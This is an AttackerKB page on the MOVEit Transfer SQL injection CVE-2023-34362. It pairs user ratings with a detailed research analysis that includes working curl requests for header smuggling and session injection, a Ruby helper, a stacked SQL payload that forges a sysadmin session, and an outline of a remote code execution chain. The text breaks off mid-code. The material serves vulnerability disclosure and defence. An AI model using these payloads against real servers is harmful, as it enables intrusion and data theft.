Very High
CVE-2023-34362
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-34362
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
In Progress MOVEit Transfer before 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), a SQL injection vulnerability has been found in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain access to MOVEit Transfer’s database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, and execute SQL statements that alter or delete database elements. NOTE: this is exploited in the wild in May and June 2023; exploitation of unpatched systems can occur via HTTP or HTTPS. All versions (e.g., 2020.0 and 2019x) before the five explicitly mentioned versions are affected, including older unsupported versions.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
Based on learnings from developing a RCE exploit, our AttackerKB Analysis, and given additional PoC’s are now available publicly I think the exploitability rating for this vulnerability warrants an increase from the original difficult rating.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery Low
Technical Analysis
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportHow do you rate the exploitability as Very Low?
An unprotected system is extremely easy to exploit.
@tlfreeman2 the exploit is highly complex. It’s fine for folks to disagree on exploitability — as you can see, our own teams have different points of view. But the attack is so fiddly in this case that even seasoned researchers are struggling to get public PoC to work against intentionally vulnerable targets. Cl0p appears to be the only one actually using the exploit successfully right now.
CVSS V3 Severity and Metrics
General Information
Vendors
- progress
Products
- moveit cloud,
- moveit transfer
Exploited in the Wild
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/06/02/cisa-adds-one-known-exploited-vulnerability-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Vendor Advisory (https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023)
- Personally observed in an environment (https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a)
- News Article or Blog (https://www.sentinelone.com/blog/moveit-transfer-exploited-to-drop-file-stealing-sql-shell/)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Description
On May 31, 2023, Progress Software disclosed a critical SQL injection vulnerability that was later assigned CVE-2023-34362. Rapid7 has observed exploitation in the wild and, as such, this patch should be deployed on an emergency basis.
On June 9, 2023, they released a second patch to address several parts of an exploit chain that were not fully mitigated by the first patch. CVE-2023-35036 was assigned to the second vulnerability on June 11.
The following versions are affected by the original vulnerability, CVE-2023-34362 (older versions should be considered affected as well):
- MOVEit Transfer 2023.0.0 (15.0) and earlier
- MOVEit Transfer 2022.1.5 (14.1) and earlier
- MOVEit Transfer 2022.0.4 (14.0) and earlier
- MOVEit Transfer 2021.0.6 (13.0) and earlier
- MOVEit Transfer 2020.1.0 (12.1) and earlier
- MOVEit Transfer 2020.0.x(12.0) and earlier – no patch is available for this version
This analysis will focus on a full exploit chain for CVE-2023-34362. Notably, the vendor, Progress Software, has continued to update their advisories for both vulnerabilities. We recommend that MOVEit Transfer customers use those advisories (CVE-2023-34362 and CVE-2023-35036) as their source of truth on affected and fixed versions.
Technical analysis
The exploit for this issue is quite complex, and requires chaining together a number of different issues. You can download our full proof of concept here. We will outline how we built the proof of concept and how it works below.
Throughout this analysis we used MOVEit Transfer version 2023.0.0.
Patch Diffing
Since most of the application is .NET, we used dotPeek to decompile the code, then fed the decompiled code into diff
. We determined that the (first) patch changes two major functions, which gave us a starting point.
First, they removed the SetAllSessionVarsFromHeaders()
function, which was used by machine2.aspx
:
public bool SetAllSessionVarsFromHeaders(string ServerVars) { bool flag = true; string[] strArray = Strings.Split(ServerVars, "\r\n"); int num1 = Strings.Len("X-siLock-SessVar"); int num2 = Information.LBound((Array) strArray); int num3 = Information.UBound((Array) strArray); int index = num2; while (index <= num3) { if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0) { int num4 = strArray[index].IndexOf(':', num1); if (num4 >= 0) { int num5 = strArray[index].IndexOf(':', checked (1 + num4)); if (num5 > 0) this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5))); } } checked { ++index; } } return flag; }
And second, they made changes to a rather complex SQL query that is used in several different places:
private void UserGetUsersWithEmailAddress( - ref ADORecordset MyRS, + ref IRecordset MyRS, string EmailAddress, string InstID, bool bJustEndUsers = false, bool bJustFirstEmail = false) { - object[] objArray; - bool[] flagArray; - object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4] + Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName); + SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0); + if (bJustEndUsers) + where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true); + string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress); + List<string> values = new List<string>() { - Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"), - (object) InstID, - (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress), - (object) EmailAddress - }, (string[]) null, (Type[]) null, flagArray = new bool[4] - { - false, - true, - false, - true - }); - if (flagArray[1]) - InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string)); - if (flagArray[3]) - EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string)); - this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true); + string.Format("Email={0}", (object) func("Email")), + this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false) + }; + where.WithParameter("Email", (object) EmailAddress); + where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str)); + if (!bJustFirstEmail) + { + values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)); + values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)); + where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str)); + where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str)); + } + where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")"); + where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending); + this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true); }
Since the advisory mentions SQL injection, and the changes are to a SQL function, that seems like the most likely place.
We spent a lot of time tracing calls that execute that SQL statement, but naive injection attempts fail – in every case the application correctly escapes the arguments. The actual issues wound up being quite a bit more complex!
Session injection
We were reasonably sure that SetAllSessionVarsFromHeaders()
would be an important part of the exploit chain. Logically, that function should, well, set session variables from headers. Looking at the code, it reads key: value
pairs from the X-siLock-SessVar
header, and the code is only called from machine2.aspx
in the session_setvars
transaction.
We experimented with a variety of session variables that would appear to do something interesting, and developed this payload, which escalates an existing session to sysadmin
privileges:
C:\Users\Administrator>curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://localhost/machine2.aspx" HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain Server: Microsoft-IIS/10.0 X-siLock-ErrorCode: 0 X-siLock-FolderType: 0 X-siLock-InstID: 1884 X-siLock-Username: fp88r6zpmj24lad7 X-siLock-LoginName: test@test.com X-siLock-RealName: test@test.com X-siLock-IntegrityVerified: False X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Robots-Tag: noindex Date: Fri, 09 Jun 2023 18:15:57 GMT Content-Length: 0
While that worked well, it has a fatal flaw; machine2.aspx
cannot be used remotely:
$ curl -ik -H "X-siLock-Transaction: session_setvars" -H "X-siLock-SessVar: MyPermission: 60" -b "ASP.NET_SessionId=lpsgatvdytabkv0udywleuqm" "https://10.0.0.193/machine2.aspx" HTTP/2 200 [...] x-silock-errordescription: Remote access prohibited.
We explored a lot of options to bypass the remote access check, such as using a header (X-siLock-IPAddress
) to set the IP address, but nothing we found worked. We had to find another way!
Header smuggling
In logs provided to us by Rapid7 services teams, we observed that machine2.aspx
is actually fetched by localhost (::1
) and is accessed shortly after a call to an ISAPI endpoint is called with an action parameter of m2
:
"2023-05-31 POST /moveitisapi/moveitisapi.dll action=m2 443 "2023-05-31 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
ISAPI modules are handlers that are written in low-level languages and loaded directly into IIS’s memory space.
The call coming from localhost struck us as very suspicious, but moveitisapi.dll
wasn’t meaningfully changed in the first patch (it would later be patched in the second patch, which would have made this much easier to find). Since it’s written in C++, we loaded it into IDA and started analyzing the code.
We spent a significant amount of time reverse engineering the module, and from what we could glean, the only permitted action allowed by the m2
action, which fowards requests to machine2.aspx
, is folder_add_by_path
:
.text:00007FF8698E0964 lea r8, [rbp+890h+silock_transaction_buffer_probably] ; header_buffer .text:00007FF8698E0968 lea rdx, header_name ; "X-siLock-Transaction" .text:00007FF8698E096F mov rcx, rbx ; void * .text:00007FF8698E0972 call get_header_probably ; <-- Get header .text:00007FF8698E0977 lea rdx, folder_add_by_path ; "folder_add_by_path" .text:00007FF8698E097E lea rcx, [rbp+890h+silock_transaction_buffer_probably] ; String1 .text:00007FF8698E0982 call _stricmp .text:00007FF8698E0987 xor esi, esi .text:00007FF8698E0989 test eax, eax .text:00007FF8698E098B jnz log_illegal_transaction ; Returns "Illegal transaction" in the header .text:00007FF8698E098B ; .text:00007FF8698E098B ; Transaction apparently must be "folder_add_by_path"
We dug into all of the .NET code related to folder_add_by_path
, but even with a privileged user, it doesn’t really do anything exciting, and seemed like a dead end. We even fuzzed it with tools such as Burp Suite in case we missed something. There didn’t seem to be an obvious connection between that transaction and the SQL code at all!
To streamline testing, we developed a small Ruby utility that would eventually serve as the basis for our proof of concept; while we don’t have the exact code now, it looked something like:
require 'httparty' require 'socket' require 'pp' TARGET = "https://#{ARGV[0] || '10.0.0.193'}" # Get an initial ASP.NET_SessionId token and also a siLockLongTermInstID. puts puts "Getting a session cookie..." r = HTTParty.get("#{TARGET}/", verify: false) cookies = r.get_fields('Set-Cookie').join('; ') puts "Cookies = #{cookies}" puts HTTParty.get( "#{TARGET}/moveitisapi/moveitisapi.dll?action=m2", verify: false, headers: { 'Cookie' => cookies, 'X-siLock-Transaction': 'folder_add_by_path', }, ).headers
Which output:
[...] {"server"=>["Microsoft-IIS/10.0"], "date"=>["Fri, 09 Jun 2023 18:30:54 GMT"], "connection"=>["close"], "x-silock-errorcode"=>["2320"], "x-silock-errordescription"=>["Invalid transaction ''"], "x-silock-foldertype"=>["0"], "x-silock-instid"=>["1884"], "x-silock-username"=>["Anonymous"], "x-silock-realname"=>["Anonymous"], "x-silock-integrityverified"=>["False"], "content-length"=>["0"]}
We noticed something weird here: we set the transaction to folder_add_by_path
, which made ISAPI happy, but the backend complained that the transaction was an empty string – ''
! What’s going on here? Looking at the server log, we see that the header, as the .NET application sees it, was:
For context, the header is *supposed* to be: ```X-siLock-Transaction: folder_add_by_path``` Notice that the case is different? It turns out that Ruby, in its infinite wisdom (and, it turns out, helpfulness!), changes the case of headers. Headers are supposed to be case-insensitive, which the ISAPI code agrees with - it converts headers to lowercase before checking them. But the .NET code requires the headers to be exactly the right case, which gives us an opportunity to send `X-SILOCK-TRANSACTION` and `X-siLock-Transaction` at the same time. If we do that, the ISAPI application sees both and the .NET application only sees the second. Progress! That isn't quite enough, though! If ISAPI sees multiple of the "same" header, they're combined into a single header with comma-separated values, which means if we send both `folder_add_by_path` and `session_setvars`, the transaction, as ISAPI sees it, would be combined into `folder_add_by_path, session_setvars`. That's no good! To fit the final piece of the header-smuggling puzzle into place, we realized that the `get_header_probably` code also doesn't care *where* in a header the header name is - it matches it anywhere in the string - even in the value! Between the case-insensitivity and bad matching code, we found a payload that works perfectly to slip an illegal transaction past the ISAPI code:
$ curl -ik -b “ASP.NET_SessionId=0nisxf5zik0u5ircok2q2mb0” -H ‘X-siLock-Test: abcdX-SILOCK-Transaction: folder_add_by_path’ -H “X-siLock-Transaction: sessio
n_setvars” -H “X-siLock-SessVar: MyPermission: 1000” ‘https://10.0.0.193/moveitisapi/moveitisapi.dll?action=m2’
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
Date: Fri, 09 Jun 2023 18:43:06 GMT
Connection: close
X-siLock-ErrorCode: 0
X-siLock-FolderType: 0
X-siLock-InstID: 1884
X-siLock-Username: fp88r6zpmj24lad7
X-siLock-LoginName: test@test.com
X-siLock-RealName: test@test.com
X-siLock-IntegrityVerified: False
Content-Length: 0
Using this payload, we could escalate privileges to `sysadmin`, and basically perform any action in the application using our upgraded session. That's enough to cause a lot of damage, so it's interesting that the attackers went further and exploited SQL injection! ### SQL Injection So now we can set session variables remotely, but how do we pivot from that to SQL injection? From the logs we obtained from Rapid7's services team, the next file requested after (presumably) setting session variables is `guestaccess.aspx`, so that's a logical place to look. We were reasonably sure, from the patch, that the interesting function is going to be `UserGetUsersWithEmailAddress()`, which raises the question: is it possible to get from `guestaccess.aspx` to `UserGetUsersWithEmailAddress()`? The answer is yes! We need to make the following sequence of function calls happen: * `GetHTML()` (in `SILGuestAccess.cs`), which calls * `PerformAction()` (in `SILGuestAccess.cs`), which calls... * `msgEngine.MsgPostForGuest()` (in `MsgEngine.cs`), which calls... * `userEngine.UserGetSelfProvisionUserRecipsWithEmailAddress()` (in `UserEngine.cs`), which calls... * `UserGetUsersWithEmailAddress()` (in `UserEngine.cs`), which is the (presumably) vulnerable function! While we know a path exists from `guestaccess.aspx` to the SQL injection code, it requires quite a lot of set-up to actually follow that path. Let's see! Much of `guestaccess.aspx` is concerned with guests accessing files that are queued up for them to download by registered users. The problem is, we don't have a registered user, much less a file! But, near the top of `GetHTML()` in `SILGuestAccess.cs`, we see this interesting-looking call: ```csharp this.m_pkginfo.LoadFromSession()
Session! That’s the thing we can sabotage with session_setvars
! Let’s see what that function does; in SILGuestPackageInfo.cs
we can find that function:
public void LoadFromSession() { this.AccessCode = this.siGlobs.objSession.GetValue("MyPkgAccessCode"); this.ValidationCode = this.siGlobs.objSession.GetValue("MyPkgValidationCode"); this.PkgID = this.siGlobs.objSession.GetValue("MyPkgID"); this.EmailAddr = this.siGlobs.objSession.GetValue("MyGuestEmailAddr"); this.InstID = this.siGlobs.objSession.GetValue("MyPkgInstID"); this.IsSelfProvisioned = Operators.CompareString(this.PkgID, "0", false) == 0; this.SelfProvisionedRecips = this.siGlobs.objSession.GetValue("MyPkgSelfProvisionedRecips"); this.Viewed = -(SILUtility.StrToBool(this.siGlobs.objSession.GetValue("MyPkgViewed")) ? 1 : 0); }
We can set each and every one of those variables to any value we want, using the header-injection code above with the session_setvars
transaction. That means we can build our own downloadable package that doesn’t actually exist!
Here’s an example that builds an accessible package (we’ve left out the set-up and functions here, it’s getting too complex to use cURL requests, but you can find them in our proof of concept):
set_session(cookies, { 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0 for the exploit to work) 'MyGuestEmailAddr' => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 'MyPkgInstID' => '1234', # this can be any int value 'MyPkgSelfProvisionedRecips' => 'recip@recip.com', })
That creates a fake package in the session, including an access code known to us. Once that’s in the session, we run into two more hurdles.
First, our username must be Guest
, otherwise the session is destroyed (by default we’re Anonymous
, which doesn’t get a session at all):
if (Operators.CompareString(username, "Guest", false) == 0) // If username == Guest... { // [...] } else if (Operators.CompareString(username, "Anonymous", false) != 0 && Operators.CompareString(username, "", false) != 0) { this.siGlobs.objDebug.Log(20, "Found existing registered user session; clearing for guest use...."); this.siGlobs.objUser.RemoveSession(); }
To bypass that check, we can set the MyUsername
session variable to Guest
. Session injection works again!
The second hurdle is, a valid CSRF token is required; otherwise, we run into this error condition:
if (Operators.CompareString(this.siGlobs.Transaction, "", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "dummy", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "msgpassword", false) != 0 && Operators.CompareString(this.siGlobs.Transaction, "signoff", false) != 0 && Operators.CompareString(this.siGlobs.objUtility.GetCT(), this.siGlobs.CsrfTokenIncoming, false) != 0) { this.siGlobs.objDebug.Log(50, "Invalid CsrfToken value; will not run the transaction."); this.SetWarningStatus(this.siGlobs.objI11N.GetMsg(20271)); }
It’s oddly tricky to get a valid CSRF token – it must be done after setting MyUsername
to Guest
, but most pages that return CSRF tokens (such as human.aspx
) will immediately wipe out guest sessions. We eventually discovered that setting the Transaction
to dummy
, Arg06
to anything, and Arg12
to promptaccesscode
on guestaccess.aspx
would return a form with a usable CSRF token:
$ curl -ski 'https://10.0.0.193/guestaccess.aspx?Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode' | grep csrf [...] <input type="hidden" name="csrftoken" value="44ad7cfa2e1a73b7a636c0bb0f9ff8d8b8e4239d"> [...]
Getting all of this to line up at the same time, and to troubleshoot broken sessions and other issues, was quite complex! If you do anything wrong, the application wipes out your session, and it’s often difficult to know why.
Once we have MyUsername
set to Guest
and a valid CSRF token, we can try creating that fake package and accessing the vulnerable function. To make sure it’s working, we can enable logging on MySQL by connecting as the root
MySQL user and running the following commands:
SET global log_output = 'FILE'; SET global general_log_file='mysql.log'; SET global general_log = 1;
Then perform all the steps above to create the package and set the username to Guest
, and finally request guestaccess.aspx
with the query string:
Arg06=accesscode&transaction=secmsgpost&Arg05=sendauto&csrftoken=<token>`
If we look at the MySQL log that we created (which should be in c:\MySQL\data\mysql.log
), we can verify that the SQL query we saw in the patch is executed on the email address that we set up in the package:
2023-06-09T19:40:21.688213Z 36172 Query SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='recip@recip.com' OR `Email` LIKE 'recip@recip.com,%' OR `Email` LIKE '%,recip@recip.com' OR `Email` LIKE '%,recip@recip.com,%' ) ORDER BY LoginName
Let’s change recip@recip.com
to akb'testinjection
in our session:
set_session(cookies, { 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 'MyPkgID' => '0', # Is self provisioned? (must be 0) 'MyGuestEmailAddr' => 'test@test.com', # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs 'MyPkgInstID' => '1234', # this can be any int value 'MyPkgSelfProvisionedRecips' => "akb'testinjection", 'MyUsername' => 'Guest', })
Then get the CSRF token and perform the request again. This time, since we’re trying to cause an error, we can check the application logs (C:\MOVEitTransfer\Logs\DMZ_WEB.log
by default), searching for a SQL error:
2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: caught exception on statement 'SELECT Username, Permission, LoginName, Email FROM users WHERE InstID=1234 AND Deleted=0 AND Permission>=10 AND (Email='akb'testinjection' OR `Email` LIKE 'akb'testinjection,%' OR `Email` LIKE '%,akb'testinjection' OR `Email` LIKE '%,akb'testinjection,%' ) ORDER BY LoginName' 2023-06-09 12:42:44.049 #22 z10 DbConn.DoRead_DS: Caught exception MySqlException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'testinjection' OR `Email` LIKE 'akb'testinjection,%' OR `Email` LIKE '%,akb't' at line 1 2023-06-09 12:42:44.081 #22 z10 DbConn.DoRead_DS: Exception stack trace: at MySql.Data.MySqlClient.MySqlStream.ReadPacket() at MySql.Data.MySqlClient.NativeDriver.GetResult(Int32& affectedRow, Int64& insertedId) at MySql.Data.MySqlClient.Driver.NextResult(Int32 statementId, Boolean force) at MySql.Data.MySqlClient.MySqlDataReader.NextResult() at MySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet) at MOVEit.DMZ.Core.DbConn.<>c__DisplayClass76_0.<DoRead_DS>g__LocalGetDataSet|0() at MOVEit.DMZ.Core.DbConn.ExecuteSqlActionWithRetry[T](Func`1 dbAction, Action`3 onRetryAction) at MOVEit.DMZ.Core.DbConn.DoRead_DS(DbConnection conn, String query, Dictionary`2 parameters, String& reason)
Excellent!
Weaponizing the SQL injection
This is where we come to a fork in the road! There are many ways to proceed, but we’ll look at one of them. This was our first attempt at an exploit, and have since developed a better one (see below).
Once again, we experimented with several different options here, before finally finding a solution. We tried to create an entry in refreshtokens
and other places, but that appears to be cryptographically protected.
We ended up developing the following payload (not that we can’t use commas in the request, so we worked around that with lots of UPDATE
statements):
a@a.com');INSERT INTO activesessions (SessionID) values ('rd0szzmafyxku5msjbbskx0h');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET InstId='1234' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET IpAddress='10.0.0.227' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET Timeout='60' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET ResilNode='10' WHERE SessionID='rd0szzmafyxku5msjbbskx0h';UPDATE activesessions SET AcctReady='1' WHERE SessionID='rd0szzmafyxku5msjbbskx0h'#
Which creates an entry in the activesessions
table that looks like:
mysql> select * from activesessions where sessionid='rd0szzmafyxku5msjbbskx0h'; +------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+ | ID | Username | LoginName | RealName | InstID | ActAsInstID | IPAddress | LastTouch | SessionID | DMZInterface | Remove | Refresh | RefreshAuthTabs | Timeout | ResilNode | Cert | GuestAccessCode | UsingSiteMinder | SAMLIdPID | SAMLNameID | SAMLNameIDXML | SAMLSessionIndex | AcctReady | InterfaceCode | +------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+ | 6195 | 6qt2vnlopc1pgb77 | test@test.com | test@test.com | 1234 | NULL | 10.0.0.227 | 2023-06-09 12:50:23 | rd0szzmafyxku5msjbbskx0h | 10 | 0 | 0 | 0 | 20 | 0 | | NULL | 0 | 0 | NULL | NULL | NULL | 1 | 0 | +------+------------------+---------------+---------------+--------+-------------+------------+---------------------+--------------------------+--------------+--------+---------+-----------------+---------+-----------+------+-----------------+-----------------+-----------+------------+---------------+------------------+-----------+---------------+
Once that’s done, the user can visit human.aspx
(which might require a refresh as it fixes the session internally) and get access to the application as the highest-privileged user – sysadmin
.
Remote Code Execution
With the ability to perform unauthenticated SQL injection we can now explore how to achieve unauthenticated remote code execution (RCE). We explore our strategy in detail below, but the outline of the steps taken are as follows:
- Leverage the SQLi to allow remote host access to the REST API.
- Leverage the SQLi to create a new
sysadmin
user with a known password.
- Use the new
sysadmin
account to login and retrieve a REST API access token.
- Use the REST API to discover a folder ID number.
- Use the REST API to begin a resumable file upload to this folder.
- Leverage the SQLi to leak out the encryption key for the Organization with an InstID of 0.
- Generate a .NET deserialization gadget and encrypt it using the leaked encryption key.
- Leverage the SQLi to store the encrypted deserialization gadget in the resumable file uploads state in the database.
- Use the REST API to resume the file upload and trigger the deserialization, allowing us to achieve RCE.
- Leverage the SQLi to remove almost all artifacts of exploitation from the database.
Allow Remote Access
MOVEit Transfer enforces IP address access to the REST API via rules defined in the moveittransfer.hostpermits
table, as shown below. To allow the attacker to access the REST API remotely during exploitation we must first modify this table to allow all external IP addresses.
mysql> SELECT * FROM moveittransfer.hostpermits; +----+--------+------+---------+----------+---------------------+----------+----------------+ | ID | InstID | Rule | Host | PermitID | Comment | Priority | HostnameLookup | +----+--------+------+---------+----------+---------------------+----------+----------------+ | 1 | 10 | 1 | *.*.*.* | 16 | IP Lockout Wildcard | 99999 | NULL | | 2 | 8937 | 1 | 10.*.*.* | 4 | | 1 | NULL | | 3 | 8937 | 1 | 10.*.*.* | 3 | | 1 | NULL | +----+--------+------+---------+----------+---------------------+----------+----------------+ 3 rows in set (0.00 sec)
Leveraging the SQLi with the following statement achieves this.
UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'
Create a sysadmin
Now that all external IP addresses can access the REST API, we need to create suitable credentials with a known password so we may log in to the API. As passwords are encrypted in the database we need to understand the encryption mechanism used. Exploring the method MOVEit.DMZ.Core.Cryptography.CheckPasswordHash
we can see that there are several hashing mechanism available, the majority of which rely on a secret encryption key, known as the “Org Key” which as an attacker we don’t (yet) know. Fortunately there is an older hashing mechanism called MakeV0V1PasswordHash
that will create a hash without this “Org Key” as shown below:
public static ApplicationHashing.PasswordHashTestResult CheckPasswordHash( string password, string hashString, int orgId) { ApplicationHashing.PasswordHashTestResult passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.Good; byte[] byteArray = ApplicationHashing.PasswordHashStringToByteArray(hashString); if ((int) byteArray[0] != byteArray.Length) throw new ArgumentException("Invalid password hash: hash length mismatch."); byte[] array1; byte[] second; switch (byteArray[1]) { case 0: passwordHashTestResult = ApplicationHashing.PasswordHashTestResult.GoodButOld; byte[] numArray = new byte[0]; byte[] array2 = new ArraySegment<byte>(byteArray, 4, 4).ToArray<byte>(); array1 = new ArraySegment<byte>(byteArray, 8, byteArray.Length - 8).ToArray<byte>(); byte[] orgKey1 = numArray; // <---- org key will be empty string password1 = password; second = ApplicationHashing.MakeV0V1PasswordHash(array2, orgKey1, password1); // <---- break; // …snip… private static byte[] MakeV0V1PasswordHash(byte[] salt, byte[] orgKey, string password) { using (SerializableHashAlgorithm hashObject = Hashing.GetHashObject(Hashing.HashAlgorithms.Md5)) return ApplicationHashing.MakePasswordHash(salt, orgKey, MOVEit.DMZ.Core.Constants.AnsiEncoding.GetBytes(password), (HashAlgorithm) hashObject); } private static byte[] MakePasswordHash( byte[] salt, byte[] orgKey, byte[] password, HashAlgorithm algorithm) { byte[] secret1 = SecretProvider.GetSecret("pwpre"); algorithm.TransformBlock(secret1, 0, secret1.Length, secret1, 0); Array.Clear((Array) secret1, 0, secret1.Length); algorithm.TransformBlock(salt, 0, salt.Length, salt, 0); if (orgKey.Length != 0) algorithm.TransformBlock(orgKey, 0, orgKey.Length, orgKey, 0); algorithm.TransformBlock(password, 0, password.Length, password, 0); byte[] secret2 = SecretProvider.GetSecret("pwpost"); algorithm.TransformFinalBlock(secret2, 0, secret2.Length); Array.Clear((Array) secret2, 0, secret2.Length); return algorithm.Hash; } internal static byte[] GetSecret(string type) { switch (type) { // …snip… case "pwpost": return System.Convert.FromBase64String(CGKI.GKIS(1832849602674192119L, 3685880422578908704L, 6883805924711697603L, 6740642329746897286L, 692300177375962740L)); case "pwpre": return 